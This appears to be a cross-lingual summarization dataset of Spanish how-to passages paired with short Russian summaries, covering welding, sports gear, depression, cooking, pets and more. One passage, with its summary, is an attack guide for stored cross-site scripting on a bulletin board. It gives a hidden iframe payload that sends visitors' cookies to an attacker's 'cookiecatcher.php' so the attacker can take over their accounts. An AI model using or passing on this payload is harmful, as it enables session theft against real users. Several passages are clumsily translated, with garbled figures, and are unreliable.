Un soldador de 115-voltios de puede manejar hasta un octavo de pulgada de espesos (3mm) con precalentamiento adecuado, y huna máquina de 230-voltios puede soldar aluminio de hasta un cuarto de pulgada de grosor (6 mm). Considera la posibilidad de una máquina con una potencia superior a 200 amperios si vas a soldar aluminio diariamente. El aluminio requiere un gas de protección de argón puro en contraste con el acero, que normalmente usa una mezcla de argón y dióxido de carbono (CO2). Esto no deberá exigir ningún tipo de mangueras nuevas, aunque puede que tengas que sustituir los reguladores que han sido dañados específicamente para el CO2. El espesor del electrodo es especialmente crítico con aluminio y hay un rango extremadamente estrecho a considerar. El diluyente de alambre es más difícil de alimentas, mientras el alambre sea más grueso este requerirá una corriente mayor para ser fundido. Los electrodos para la soldadura de aluminio debe de ser 35.000 mls de una pulgada de diámetro (menos de 1mm). Una de las mejores opciones es 4043. Una aleación más dura como de 5356 de aluminio es más fácil de alimentar, pero requerirá más corriente.

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Чем толще металл, тем более мощный сварочный аппарат вам понадобится. Выберите подходящий защитный газ. Используйте алюминиевые электроды.


Un suspensorio es recomendado para cualquier deporte que requiera correr, como el atletismo o el baloncesto. Para los deportes de contacto o los deportes que involucren pelotas de movimientos rápidos, un suspensorio también es recomendado. Debes considerar la talla de la cintura y la comodidad de la bolsa. El suspensorio debe ser lo suficientemente ajustado como para levantar y sujetar el pene y los testículos cerca del cuerpo, fuera del camino durante el movimiento, pero no demasiado ajustado, ya que las rozaduras pueden contribuir a los hongos en las verijas. Una coquilla es una pieza de plástico o metal dura y moldeada que encaja dentro de una bolsa en el suspensorio. Se recomiendan para cualquier deporte que involucre contacto o proyectiles que se muevan a toda velocidad, como el hockey, el fútbol, el béisbol, el fútbol americano o las artes marciales mixtas. Muchos atletas son reacios a usar coquillas, particularmente en el fútbol americano, pero considera que más de la mitad de las lesiones testiculares ocurren durante los deportes y la torsión testicular y la ruptura testicular pueden ocasionar la pérdida del testículo. Muchas coquillas son específicas para un deporte, así que tendrás que saber para cuál deporte la vas a usar. Debes considerar tanto la comodidad como el grado de protección que la coquilla ofrece.  Para que una coquilla funcione, debe encajar ajustadamente contra el cuerpo. Debes asegurarte de que el suspensorio esté lo suficientemente ajustado como para evitar que la coquilla se ruede o se tuerza.  Busca coquillas con bordes acolchados. Un borde duro simplemente transferirá la fuerza del golpe al área pélvica. Un borde suave proporciona una mejor amortiguación durante el impacto.  Para deportes de un movimiento realmente rápido, como el béisbol, considera una coquilla de titanio. Los pantalones cortos de compresión ofrecen un apoyo similar a un suspensorio, y algunos vienen con una bolsa diseñada para sostener una coquilla protectora. En muchos deportes, como el fútbol, muchos atletas...

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Носите суспензорий для удобства и защиты во время занятий спортом. Убедитесь, что суспензорий подходит вам по размеру. Решите, будете ли вы носить чашку. Выберите чашку. Подумайте о том, чтобы носить компрессионные шорты, если считаете суспензорий слишком неудобным.


Un síntoma común de la depresión es una falta de deseo por hacer las cosas que solías disfrutar. En lugar de seguir evitando dichas actividades, ¡toma la iniciativa de retomarlas! Si solía gustarte leer, practicar deportes o realizar caminatas, vuelve a realizar estas actividades con regularidad.  Si no te es posible retomar pasatiempos antiguos, elige uno nuevo. Inscríbete en clases que se impartan en tu localidad o realiza algo que siempre te haya interesado. Inscríbete en clases de arte y en actividades de aventura para contar con buenos métodos de aliviar tu depresión. Comienza a realizar estos pasatiempos cada vez que tengas el tiempo para ellos. Al principio, pueden parecer aburridos o insignificantes, pero con el tiempo se volverán más agradables y anhelarás los momentos en que tengas la oportunidad para realizarlos. Se ha demostrado que la vitamina D que obtienes de la luz solar ayuda a reducir la depresión. Pasa unos treinta minutos al día bajo el sol (sin lentes de sol) y bálate con la vitamina D que puede ofrecerte. También puedes consumir esta vitamina en comprimidos a modo de suplemento.   Recibe la luz solar en un parque local o en una reserva natural para combinar lo mejor que puede ofrecerte con la belleza de la naturaleza. Permanecer en la naturaleza cerca de los seres vivientes y en desarrollo te ayudará a fortalecer tus sentidos, y te brindará una mayor energía y enfoque. La exposición a la luz solar también puede ayudarle a tu cuerpo a regular su ritmo circadiano, el cual controla los momentos en que despiertas y te duermes. Por ende, esta exposición te ayudará a sentirte más despierto durante el día y cansado en la noche, lo que te brindará una mayor energía en los momentos adecuados. Si los días suelen ser lluviosos o grises en el lugar donde vives, consigue una lámpara de luz solar. Se trata de una lámpara especial que imita los rayos del sol, mejorando así tu estado de ánimo. Los estudios sugieren que la meditación consciente puede beneficiar a las personas que sufren de depresión y...

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Вспомните забытое хобби. Дышите свежим воздухом. Практикуйте осознанную медитацию. Начните ухаживать за каким-нибудь живым существом. Займитесь волонтерской деятельностью. Используйте приемы релаксации.


Un tablón de anuncios es un buen ejemplo. Recuerda, si el sitio es seguro, esto no funcionará. Necesitarás introducir un código especial en la "publicación" que capturará los datos de todos los que hagan clic en ella. Intenta averiguar si los filtros del sistema filtran el código externo. Publica <script...>alert("test")</...script> (eliminando los "…"). Si un cuadro de alerta aparece cuando haces clic en la publicación, entonces el sitio es vulnerable a ataques. El objetivo de este ataque es capturar las cookies de los usuarios, que te permitirán acceder a sus cuentas en sitios webs que tengan inicios de sesión vulnerables. Necesitarás un capturador de cookies que capturará las cookies de tu objetivo y las redirigirá. Sube el capturador a un sitio web al cual tengas acceso y que soporte php. Más adelante te daremos un ejemplo de código de capturador de cookies. Ingresa un código apropiado en la publicación para capturar las cookies y enviarlas a tu sitio. Te recomendamos poner algún texto luego del código para reducir las sospechas y evitar que tu publicación sea eliminada. Un código de ejemplo sería: <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location="YOURURL/cookiecatcher.php?c="+document.cookie)><.../iframe> (eliminando los "…"). Luego, podrás utilizar la información de las cookies, que ya estarán guardadas en tu sitio web con el propósito que necesites.

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Найдите уязвимый сайт, на котором можно размещать контент. Перейдите к созданию поста. Создайте и загрузите свой php-скрипт, который будет получать данные. Опубликуйте JavaScript-код. Использование полученных куки.


Un teléfono celular siempre incluirá una bandeja SIM para colocar la tarjeta SIM. En esta tarjeta se almacenará los datos de tu celular y permitirá que las personas te contacten a través del proveedor de la red que elegiste.  Ubica la bandeja SIM. Si tienes dificultades para identificarla, consulta el manual de tu teléfono. Debe verse como una ranura exactamente del tamaño de tu tarjeta SIM y contará con terminales dorados en donde se leerán los datos de la tarjeta SIM. Inserta tu tarjeta SIM cuidadosamente. Mantén presionado el botón de encendido para prender el teléfono. Los celulares recién comprados por lo general vienen con aproximadamente el 50% de la batería cargada, de modo que no tendrás que preocuparte por cargar tu celular todavía.

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Вставьте SIM-карту. Включите телефон.


Un termómetro de lectura inmediata es lo mejor para revisar la temperatura del salmón. No obstante, asegúrate de poner la sonda del termómetro en la parte más gruesa del salmón, esto debido a que es la parte a la que más tiempo le lleva cocerse. Puedes comprar un termómetro de lectura inmediata en la mayoría de las tiendas de artículos para el hogar y suministros de cocina. Si la temperatura es menor a 43 °C (110 °F), el salmón estará esencialmente crudo. Entre los 43 °C y 52 °C (entre 110 °F y 125 °F), el pescado estará en un término medio crudo. Entre los 52 °C y 60 °C (125 °F y 140 °F), estará entre medio y bien cocido. No querrás que alcance una temperatura superior a los 60 °C (140 °F), porque entonces se secará y endurecerá. Cuando hayas alcanzado el término en el que lo deseas, quita el pescado de la estufa, horno o parrilla. Déjalo reposar de 5 a 10 minutos para que termine de cocinarse y luego sírvelo.

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Вставьте термометр в самую толстую часть лосося. Убедитесь, что температура рыбы достигла как минимум 45 °C, но не превышает 60 °C. Уберите лосось с огня и дайте ему полежать в течение нескольких минут.


Un termómetro digital puede medir tu temperatura por vía oral, rectal o en la axila. No trates de medir tu temperatura por vía rectal y hazlo solo por vía oral o en la axila. Limpia el termómetro con agua fría, luego aplica alcohol isopropílico y por último enjuaga con agua fría. Nunca utilices un termómetro en tu boca que hayas utilizado anteriormente en tu recto.   No comas o bebas nada cinco minutos antes de tomarte la temperatura. Esto podría cambiar la temperatura en tu boca y producir una medición inexacta. Coloca la punta del termómetro debajo de tu lengua y mantenlo ahí durante unos 40 segundos. La mayoría de los termómetros digitales suenan para indicarte cuándo han terminado de tomar la temperatura. Después de realizar la medición, enjuaga el termómetro en agua fría, límpialo con alcohol isopropílico y enjuágalo nuevamente para esterilizarlo. Quítate la camiseta o usa una suelta que te permita tomarte la temperatura en la axila. Coloca la punta del termómetro directamente en la axila. Debe tocar únicamente tu piel, no la tela de tu camiseta. Espera unos 40 segundos o hasta que escuches el sonido que te indique que la medición ha finalizado. Toma la temperatura de un niño utilizando cualquier método que realmente pueda soportar. Por ejemplo, un niño de 2 años aún no puede sostener un termómetro debajo de la lengua por el tiempo suficiente como para obtener una lectura exacta. Los termómetros de oído producen resultados variados. La medición más precisa que puedes obtener por tomando la temperatura rectal, lo que no produce dolor en el niño. Este método se recomienda para niños entre tres meses y cuatro años de edad. Asegúrate de que la punta del termómetro esté esterilizada con alcohol isopropílico y luego enjuágala. Después de secar la punta, lubrícala con vaselina para que ingrese con facilidad.  Haz que el niño se acueste boca arriba y que luego levante sus piernas en el aire. Si es un bebé, deberás levantarle las piernas como lo harías al cambiarle el pañal. Introduce el termómetro suavemente de...

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Для измерения температуры орально воспользуйтесь цифровым термометром. Измерьте температуру под мышкой. Решите, как измерить температуру ребенку. Измерьте ребенку температуру ректально с помощью цифрового термометра. Посмотрите на значение температуры.


Un theremín es básicamente una caja con dos antenas, una de las cuales controla el tono del instrumento y la otra el volumen. Estas antenas crean campos electromagnéticos, los cuales se manipulan con las manos para “hacerlos sonar”. Las bobinas de alambres apretados actúan como osciladores, las cuales producen señales que alimentan a las antenas. Si bien puede parecer magia fantasmal, los circuitos relativamente directos crean los campos. Un theremín implica los siguientes componentes, la mayoría de los cuales debes poder comprarlos en una tienda de suministros electrónicos:  Oscilador de referencia y tono Oscilador de control y tono Mezclador Oscilador de control y volumen Amplificador controlado por voltaje y circuito resonante y de volumen Amplificador de audio Fuente de alimentación de 12 voltios Hacer un theremín desde cero no es un proyecto para una persona que ama los fines de semana y los sonidos espeluznantes. Si quieres hacer uno de forma fácil y barata, compra un juego de piezas, sigue las instrucciones y ármalo. Si deseas hacer las conexiones por tu cuenta, hay muchas cosas que necesitas aprender primero para que lo hagas. Incluso si quieres armar un theremín, es probable que necesites entender cómo leer un esquema básico. Para que hagas un theremín, necesitas saber cómo:  Leer diagramas electrónicos Soldar Cablear un potenciómetro Hacer un circuito Si quieres armar un theremín, los juegos de piezas están disponibles en una variedad de rangos de precios distintos, algunos de los cuales son relativamente fáciles de armar y algunos son más complejos. Es un poco más fácil que empezar desde cero y conseguir todos los tableros y circuitos que necesitarás de manera individual. A menos que seas un fabricante experimentado de circuitos, será difícil pero no imposible que hagas tu propio theremín sin un juego de piezas. Encuentra o haz una caja lo suficientemente grande para que entren los circuitos internos del theremín. Un theremín profesional, del tipo de los que se puede tocar con comodidad, debe ser...

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Изучите основные компоненты терменвокса. Обретите навыки, необходимые для создания терменвокса. Начните с корпуса терменвокса. Установите антенну.


Un título es una frase corta que describe brevemente tu idoneidad para el puesto en cuestión. Es la parte de tu currículo que llama la atención del reclutador y determina si él o ella va a seguir leyendo o no. Es una parte vital de cualquier buen currículo ya que ayuda a diferenciarte como candidato del resto de postulantes. Es importante que tu título de currículo esté bien escrito y que sea atractivo y relevante. Un título es una frase breve que describe tus competencias claves y, preferiblemente, debe ser adecuado para el trabajo al que estás postulando. Debe tener pocas palabras, ni siquiera una oración completa.   Algunos ejemplos de buenos títulos incluyen: “Contador orientado a metas con experiencia global” o “Gerente de marketing con bastante experiencia en campañas en línea”. Claro, es importante resaltar solo las capacidades que coincidan más con las expectativas que el reclutador tiene para el puesto ya que esto será crucial para que te pongan en la lista de las personas a entrevistar. La razón más importante por la que debes incluir un título es para llamar la atención del reclutador y hacer que reconozca tu idoneidad como candidato.   Sin embargo, el título también hace que el currículo sea fácil de buscar, especialmente en bases de datos en Internet y páginas web de trabajos. También, lo diferencia de la pila de currículos similares que están en esas bases de datos. Por lo tanto, es importante que incluyas palabras clave relevantes en tu currículo. Ante la ausencia de un título interesante, existe una probabilidad significativa que rechacen o no se fijen en tu currículo. A través del título le muestras todas tus habilidades o experiencia al reclutador y también le estás probando que estás calificado para el puesto incluso antes de que lea todo el currículo.

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Постарайтесь правильно понять, что подразумевается под термином "заголовок резюме". Необходимо точно знать, какие сведения должен содержать хороший заголовок. Старайтесь заранее спрогнозировать, как заголовок резюме повлияет на ваши шансы.


Un vez que sepas que te ha engañado, querrás huir. Si tu cónyuge está realmente arrepentido y si quieres de alguna manera restaurar la relación, tendrás que esforzarte por solucionarlo juntos. No ganarás nada culpando a tu cónyuge y odiando a la persona con quien te haya engañado. Si ha habido problemas o señales antes de la infidelidad, quizá aparezcan nítidamente ahora. Si de verdad quieres que tu matrimonio se arregle, tendrás que examinar si tu comportamiento contribuyó en parte a la soledad de tu matrimonio. Con esto no queremos decir que tú seas responsable por la decisión de tu pareja, sino que lo más necesario en esta fase será una evaluación honesta e imparcial de todo el matrimonio, incluido tu propio comportamiento. Tendrás que considerar muchas cosas después de esta terrible noticia: ¿Te has comportado de maneras que se puedan catalogar como “despreciables”? No nos referimos a las veces en que nos ponemos gruñones de vez en cuando, porque todos lo hacemos. Más bien, el comportamiento cruel, despreocupado y despreciable podría ocasionar que incluso alguien que nos ame busque cariño, compasión y un toque delicado en otro lado. Si eres frío y retienes algo de tu pareja, recuerda que él o ella empezó una relación contigo para gozar de tu compañía. Si no eres amable, tierno o evitas tener relaciones sexuales con él o ella, podría terminar buscándolo en otro lugar o dar la relación por terminada. No es razonable creer que tu cónyuge tomará el voto de celibato indefinidamente. Ser amable, tierno y/o sexy con tu pareja puede marcar una gran diferencia en tu relación. Confía en tu criterio. Es muy difícil hacerlo después de descubrir que tu cónyuge se ha liado con otra persona. Si descubres que tu cónyuge te ha sido infiel, te sentirás avergonzado, ridículo y con miedo. Socavará tu confianza, afectará tu capacidad para tomar incluso las decisiones más pequeñas: qué comer, qué ponerse. Serás crítico de todos los detalles. Será una época terrible para casi todos en tus zapatos. Te preguntarás si toda tu...

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Подавите желание уйти. Трезво посмотрите на вещи. Переживите гнев, грусть, страх, недоверие и стыд. Выберите возможность любить снова.


Un vivero es un tanque de madera con una fachada de cristal. Debe tener una tapa hermética y lados uniformes para evitar que el dragón se lastime la nariz. Busca un vivero que sea fácil de limpiar. Los viveros deben estar sellados con poliuretano o ser impermeables. También debes asegurarte de que las juntas estén selladas.  Si impermeabilizas el vivero por tu cuenta, asegúrate de dejar que se seque por una semana antes de meter al dragón.  Asegúrate de que el dragón tenga espacio suficiente para correr, trepar y sentarse en las ramas.  Limpia el hábitat de tu mascota cuidadosa y frecuentemente con una mezcla de agua con lejía en una proporción de 10 a 1. Quita las verduras que no coma en el transcurso de cuatro horas y los insectos que no coma al final del día. También puedes comprar un acuario para el dragón. Los dragones bebés pueden vivir en un acuario de 38 a 57 litros (10 a 15 galones), mientras que los adultos necesitan un espacio más grande de 208 a 227 litros (55 a 60 galones). Los acuarios son una mejor solución a corto plazo porque es difícil regular la temperatura en estos. Los viveros de madera encapsulan el calor mejor que el vidrio o el metal. Trata de proveer un área menos cálida (de 30 grados Celsius u 86 grados Fahrenheit) y una sección más cálida (de 45 grados Celsius o 113 grados Fahrenheit). Los viveros no deben tener menos de 61 centímetros (48 x 24 x 24 pulgadas). Asegúrate de que el vivero tenga salidas de aire, como mínimo una por cada 0,09 metros cuadrados (un pie cuadrado). El conducto de ventilación debe estar en la parte más alta de la pared trasera y no en la sección más baja. Lee el wikiHow Cómo cuidar dragones barbudos si deseas instrucciones adicionales acerca de cómo construir el hábitat y el vivero de tu mascota. Puedes comprar un vivero o hacer uno propio usando equipos de bricolaje, como Vivexotic. El sustrato es el material que cubre el fondo del vivero. El dragón excavará en este. Busca uno que luzca natural y que haga que tu mascota se sienta en casa. También debe ser...

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Купите высококачественный террариум. Используйте вместо террариума аквариум. Обеспечьте террариум обогревателем. Насыпьте в террариум качественный субстрат. Обеспечьте надлежащее наполнение террариума аксессуарами.


Un árbol de manzano silvestre debe recibir al menos seis horas de luz solar directa al día, por lo que debes escoger una ubicación que no tenga mucha sombra. Luego, asegúrate de que la tierra del área cuente con un buen drenaje para mantener saludables las raíces del árbol. Para verificar si la tierra cuenta reúne las características adecuadas, debes cavar un agujero de 30 a 46 cm (de 12 a 18 pulgadas) de ancho y profundidad. Luego, llénalo con agua y observa cuánto tarda en drenar. Si el agua drena en 10 minutos o menos, cuentas con la tierra adecuada. Si tarda más de una hora, el drenaje de la tierra es deficiente. Debes examinar el cepellón del árbol antes de plantarlo. Utiliza una pala para cavar un agujero en la ubicación escogida (que sea tan profundo como el cepellón, pero de dos a tres veces más ancho).  Cuando coloques el árbol dentro del agujero, la parte superior de la corona de la raíz debe quedar al nivel o ligeramente por encima de la tierra. Si vas a plantar más de un árbol, debes colocarlos a una distancia mínima de 3 a 6 metros (de 10 a 20 pies). Si la tierra en el área escogida no se encuentra en muy buenas condiciones, sería bueno que le agregues algún tipo de enmienda. Agrega una pequeña cantidad de abono sobre la tierra que has sacado del agujero para crear una mezcla saludable y esparcirla alrededor del árbol. Si la tierra en la que vas a plantar se encuentra en buenas condiciones, no es necesario que agregues abono.

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Выберите солнечное место с хорошим дренажом. Выкопайте яму соответствующей глубины, но шире корневого кома дерева. Добавьте в почву немного компоста.


Una Benetton es una canasta hecha generalmente de sauce mimbre, pero también puede ser de mimbre tejido y puede ser redonda o larga. A veces, no siempre, son forradas con una tela así que la Benetton debe estar bien enharinada antes de usarla para evitar que la masa se pegue. La canasta por lo menos debe doblar el tamaño de la masa que pongas en ella, de preferencia 2,5 veces. Las Benetton las puedes obtener en panaderías artesanales o profesionales, pero generalmente lo más fácil es comprarlas en línea. Puedes usar cestas de mimbre sin adornos y sin pintar que puedes adquirir en tiendas de descuentos o de artesanías siempre y cuando tengan la menor cantidad de agujeros entre las cañas. Límpialas frotándolas antes de usarlas y sécalas. Luego échales harina antes de usarlas. Idealmente, un estilo batard es el más fácil, pero amolda la masa de acuerdo a la forma. Coloca el pan con la unión hacia arriba (de manera que el lado bueno esté abajo). Invierte la Benetton y el pan para que éste caiga en la piedra caliente o en la bandeja para hornear y levanta la Benetton verticalmente. El "lado bueno" debe estar arriba. Generalmente, no es necesario otro tipo de decoración ya que la caña de mimbre dejará un diseño en la masa, pero podrías agregarle algunos tajos con una cuchilla de rasurar para darle detalles adicionales.

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Подготовьте тесто и разделите на 1 или 2 буханки. Сформируйте тесто. Подождите, пока увеличится в объеме в два раза. Выпекайте 35-40 минут или пока не приготовится.


Una alfombra afelpada puede ser un complemento agradable y suave para el suelo de tu habitación, pero también puedes clavarla en una pared para exhibirla de forma única. Elige una alfombra con un diseño único para que llame la atención. Puedes encontrar almohadas con citas, fotos, diseños y texturas interesantes para colocarlas en tu habitación. Ve de compras a las tiendas de muebles, a las tiendas de segunda mano y en línea. También puedes imprimir tus propios diseños en las fundas de las almohadas en las tiendas de camisetas personalizadas. Si te resulta difícil ver en el armario o simplemente quieres agregarle un toque de luz a tu habitación, cuelga unas luces blancas parpadeantes en el interior del marco de la puerta. Haz que parezca que abriste la puerta a otro universo o al vestuario genial de una banda de rock. Usa unos ganchos o cinta adhesiva para mantener las luces en su lugar. Compra las luces y los ganchos en un bazar o en una tienda local de arte y manualidades. Usa un papel tapiz temporal que puedas comprar en un bazar o en una tienda local de arte y manualidades para cubrir las paredes aburridas. Investiga en línea algunas ideas divertidas si estás buscando inspiración. También puedes cortar el papel tapiz para formar figuras, como estrellas, antes de colocarlo en la pared. Asegúrate de usar un papel tapiz temporal para que puedas cambiar el estilo con la frecuencia que quieras.

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Постелите или повесьте ворсистые ковры. Дополните кровать или диван подушками. Добавьте подсветку шкафа. Украсьте стены.


Una alimentación nutritiva lo ayudará a mantenerse sano, lo que puede implicar la disminución de la caída del pelo.  Busca un alimento húmedo para gatos que contenga determinadas carnes (como pollo, res o pescado) como los primeros dos o tres ingredientes. Esto es esencial para la alimentación de un gato saludable, ya que estos requieren proteínas de origen animal.  El alimento seco y la comida húmeda de mala calidad contienen muchos granos y otros carbohidratos como trigo, maíz y soya. Estos ingredientes no son tan alimenticios para los gatos como las proteínas de la carne; incluso, pueden originar alergias o trastornos digestivos, que a su vez podrían provocar resequedad de la piel y la caída del pelo. Para los gatos con sobrepeso, acicalarse por sí solos resulta más complicado, por lo que son propensos a tener más pelo muerto.  Puedes darte cuenta de si tu gato está obeso si no sientes sus costillas sin necesidad de presionarlas. Si al observarlo desde arriba, no distingues una cintura estrecha delante de sus caderas, tómalo como otra señal de alarma.  De ser necesario, un veterinario puede elaborar un programa de alimentación especial para tu gato. Asimismo, puedes reducir la ingesta de tu gato a las cantidades recomendadas y abstenerte de darle premios. Juega con tu gato constantemente para que haga el ejercicio suficiente. Los ácidos grasos omega 3 y omega 6 son especialmente importantes para la salud de la piel y el pelaje de un gato. Además, ayudan a disminuir la pérdida de pelo.  Puedes encontrar ácidos grasos omega en el alimento húmedo para gatos que contenga aceite de salmón y aceite de linaza. Asimismo, puedes comprar un suplemento de ácidos grasos omega y dárselo a tu gato mezclado con su comida o aparte. El veterinario es el más capacitado para determinar los cambios adecuados en la alimentación de tu gato. Sin embargo, incluir los ácidos grasos omega en su dieta es seguro, siempre y cuando elijas un suplemento especial para gatos y no te excedas de la dosis recomendada. Si notas que tu gato...

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Кормите кошку высококачественным кормом и обеспечьте ей постоянный доступ к свежей воде. Помогите кошке с лишним весом привести его в норму. Увеличьте объем потребления кошкой омега жирных кислот. Следите за тем, чтобы у кошки не было блох и других паразитов.


Una almazara puede ser un poco más costosa que una licuadora, pero puede licuar las almendras más minuciosamente si estás dispuesto a invertir un poco más. Debes colocar la almazara sobre una mesa u otra superficie resistente. Simplemente gira la manija lentamente para empezar a hacer que las almendras tostadas produzcan aceite. A diferencia de una licuadora, no tienes que preocuparte por que el aceite cree una acumulación a los lados del aparato. Simplemente coloca un recipiente debajo de las almendras y espera a que el aceite caiga sobre él. Mientras más tiempo gires la manija de la almazara, será más fácil hacerlo. Puedes usar el aceite inmediatamente y no tener que esperar unas semanas para que se separe de las almendras, como tendrías que hacerlo al usar una licuadora. Sin embargo, el aceite puede parecer un poco turbio, pero eso no significa que sea menos efectivo. Si te gusta que el aceite esté más claro, simplemente colócalo en un recipiente y déjalo afuera durante un día para que las partículas se asienten en el fondo.

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Поместите миндаль в верхнюю часть пресса для масла. Начните работу, поворачивая рукоятку. Используйте чашку для собора масла. Используйте масло.


Una alternativa es usar una plancha fundidora para unir con el adhesivo. Sin embargo, necesitarás seguir los mismos pasos de preparación y colocación. En otras palabras, sigue los pasos descritos en la parte 1, “Haz la unión”, pero sáltate los pasos mencionados en la parte 2, “Aplica el adhesivo para alfombras”. Con cuidado, levanta ambos costados de la alfombra y aplica una fila línea de sellador de costuras sobre uno de los bordes cortados.  Asegúrate de que el sellador permanezca en la parte inferior de la alfombra y de que no haga contacto con las fibras en la parte superior. El sellador ayudará a prevenir que la alfombra se deshilache. Procede con rapidez. El sellador necesita permanecer húmedo durante el resto del proceso. Extiende un pedazo de cinta unión sobre la línea de tiza en el suelo. La cinta debe medir 7,6 centímetros de ancho y tener el mismo largo de la unión.  Debido a que la cinta unión no tiene doble cara, necesitarás mantener los bordes sobre el suelo con una pesa o una tabla para evitar que la cinta se mueva mientras trabajas. Levanta ambos bordes, comenzando por el borde sellado y terminando por el que no lo está. Presiona firmemente ambos bordes sobre el suelo.  Recuerda que la unión de las dos piezas debe estar centrada sobre la cinta unión. El sellador de costuras que aplicaste al primer borde debe llegar al segundo durante este paso, de este modo también evitarás que la segunda pieza se deshilache. Utiliza una plancha especial y presiona la alfombra sobre la cinta unión. Continúa haciéndolo hacia lo largo de toda la unión.  El adhesivo de la cinta se derretirá y se pondrá más pegajoso a medida que lo calientes. Asegúrate de alinear ambos bordes sobre este adhesivo derretido mientras trabajas. Luego de haber fijado los bordes de la alfombra sobre la cinta, estira las piezas suavemente. Si los bordes parecen no estar correctamente alineados en cualquier punto de la unión, ve hacia ese lugar con la plancha. Limpia los residuos del sellador que veas con un limpiador recomendado. Una vez...

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Расположите куски ковролина, как описано выше. Применяйте специальный клей для швов и стыков. Подложите специальную склеивающую ленту. Соедините оба конца. Нагрейте ленту при помощи специального утюга. Сделайте шов более аккуратным.


Una amigdalectomía es un procedimiento relativamente simple y efectivo. En cierta medida es de bajo riesgo y el periodo de recuperación suele ser corto, siendo el dolor de garganta y el sangrado menor los problemas más comunes.  Si el doctor está preocupado por tu historial médico, tu edad u otros factores, quizás te aconseje que tomes otro camino. Toma en cuenta que una amigdalectomía solo se recomendará a alguien con tonsilolitos recurrentes, muy resistentes o complicados. También puedes preguntar al doctor acerca de la posibilidad de extirpar los tonsilolitos. El doctor puede quitarlos usando un equipo especial de irrigación. Se pueden usar distintos antibióticos (como penicilina o eritromicina) para tratar los tonsilolitos, pero estos no pueden revertir la causa subyacente de la afección, que es el alimento atascado en las amígdalas. Puede ocurrir una recaída, y los antibióticos también pueden tener efectos secundarios. La mayoría de los antibióticos matan las bacterias beneficiosas de la boca y del intestino, las cuales podrían ayudar a luchar contra las bacterias problemáticas. El tejido del que están hechos los bolsillos amigdalinos profundos se puede eliminar por medio del láser. La exfoliación por láser empareja la superficie de las amígdalas para que dejen de tener bolsillos y grietas. Sin embargo, este procedimiento tiene algunos riesgos.

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Обсудите с врачом-отоларингологом, показано ли в вашем случае удаление миндалин (тонзиллэктомия). Если вы страдаете от постоянных пробок в миндалинах или же они большого размера, подумайте о курсе антибиотиков. Узнайте у врача, показана ли вам лазеротерапия.


Una base para cortar entre la parte de enfrente y la parte de atrás de la camisa para que no cortes a través de ambas partes. Opcional: Lava tu camisa. Las secciones que cortaste se enrollarán en las esquinas y le darán un efecto punk.

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Выбирайте облегающие футболки для лучшего эффекта. Положите вашу рубашку на плоскую поверхность. Готово!


Una blusa básica con cuello redondo alto se verá hermosa cuando la combines con una chaqueta de punto o una chaqueta de mezclilla ajustada. Añade estilo a tu look eligiendo una con una impresión divertida o adornos en el cuello. Si estás enamorada de una blusa o vestido que tiene un escote en V o cuadrado profundo, no te desesperes. Una playera o blusa con detalles femeninos de encaje en el cuello pueden transformar esa prenda en algo que combinará con tu vestuario modesto. Muchas playeras tienen tirantes ajustables, para que puedas extender la línea del cuello de la camiseta para cubrir el busto o cantidades incómodos de piel. Piensa en chales, chalecos de mezclilla, chaquetas de cuero, suéteres de punto, chaquetas, chaquetas de estilo militar, y más. A mayor variedad que tengas de abrigos, mayor será la cantidad de combinaciones que podrás crear. Los abrigos son ideales para ponerlos sobre piezas con espalda escotada o tirantes delgados. Si quieres usar un vestido o falda, pero te preocupa que el largo puede ser demasiado corto, compénsalo usando algo debajo de ellos. Los jeans ajustados y leggings funcionan bien para muchas piezas. Sin embargo, ten en cuenta que muchos leggings pueden parecer inmodestos aún,  ya que tienen la tendencia a esculpir tu cuerpo. Para evitar esto, sólo lleva leggings con una falda que cubra la parte posterior y la mayoría de los muslos. No uses mini faldas que revelen todo cuando te sientes.

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Наденьте симпатичный топ под кофту или жакет. Замаскируйте низкий вырез, надев майку или топ под рубашку. Запаситесь симпатичной верхней одеждой. Закрывайте ноги обтягивающими джинсами или леггинсами.


Una bolsa de basura evitará derramamientos mientras limpias.  Si no tienes una bolsa, puedes aplicar el bicarbonato de sodio directamente al muñeco. Es aconsejable usar 1/2 taza de bicarbonato de sodio para un peluche de tamaño mediano. Si el peluche es más grande o más pequeño, puedes ajustar la cantidad de bicarbonato de sodio adecuadamente. Esto sacudirá el bicarbonato de sodio y permitirá que penetre en el peluche. Esto le dará tiempo al bicarbonato de sodio para interactuar con la suciedad y así limpiarla. Puedes usar varios métodos para hacerlo:  Sacude el bicarbonato de sodio. Quita el bicarbonato de sodio con la mano. Usa un trapo para quitar el bicarbonato de sodio del peluche. Usa una aspiradora de mano si de verdad quieres ser minucioso.

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Засуньте плюшевую игрушку в полиэтиленовый пакет для мусора, чтобы не просыпать соду в процессе очистки. Насыпьте соду в пакет. Встряхните пакет посильнее, чтобы разворошить соду и дать ей проникнуть в плюшевую игрушку. Оставьте пакет в покое на 15-20 минут. Очистите игрушку от соды.


Una buena alimentación trae numerosos beneficios. Te permite mantenerte en un peso saludable, mejora la piel y te da más energías. Una de las mejores formas de llevar una alimentación saludable es cocinando tu propia comida. Los reportes indican que las personas que preparan su propia comida consumen menos azúcar y grasas. Cocinar con alimentos frescos también te permite ingerir menos alimentos procesados que suelen tener niveles elevados de sodio.  Haz que cocinar sea algo divertido. Involucra a miembros de tu familia en la cocina, de modo que no se sienta como una tarea tediosa. Asígnale a cada uno un día de la semana para que pidan cierta comida y busca una nueva receta para probar. Cocinar te parecerá más fácil si estás organizado. Planifica tus comidas con anticipación. Así limitarás los viajes al supermercado y te mantendrás bien encaminado hacia tus objetivos de estado físico si planificas menús saludables cada semana. Cuando cocinas tú mismo, tienes el control absoluto de los ingredientes que utilizas. Esto te permite asegurarte de obtener los nutrientes necesarios para el cuerpo. Comer bien ayuda a controlar tu peso y te da las energías que necesitas para ejercitarte de manera regular.  Trata de incluir en tu dieta varias porciones de frutas y verduras cada día, ya que son ricas en vitaminas y fibra. Come pescado y carnes magras. Así obtendrás proteína y aportarás grasas saludables al cuerpo. Llena tu plato de colores. Mientras más colores haya en el plato, más frutas y verduras comerás. Prueba las verduras de hoja verde como la col rizada y las verduras de tonos naranja, como las zanahorias y los camotes. Puedes planificar una diete general y saludable por tu cuenta. Pero si tienes alguna inquietud sobre tu peso o salud general, es mejor consultar con tu doctor. Él te ayudará a descubrir qué alimentos te permitirán cumplir tus objetivos de estado físico, ya sea que se trate de mantener tu condición física actual o de bajar de peso.  El doctor también te ayudará a descubrir qué alimentos evitar. Por...

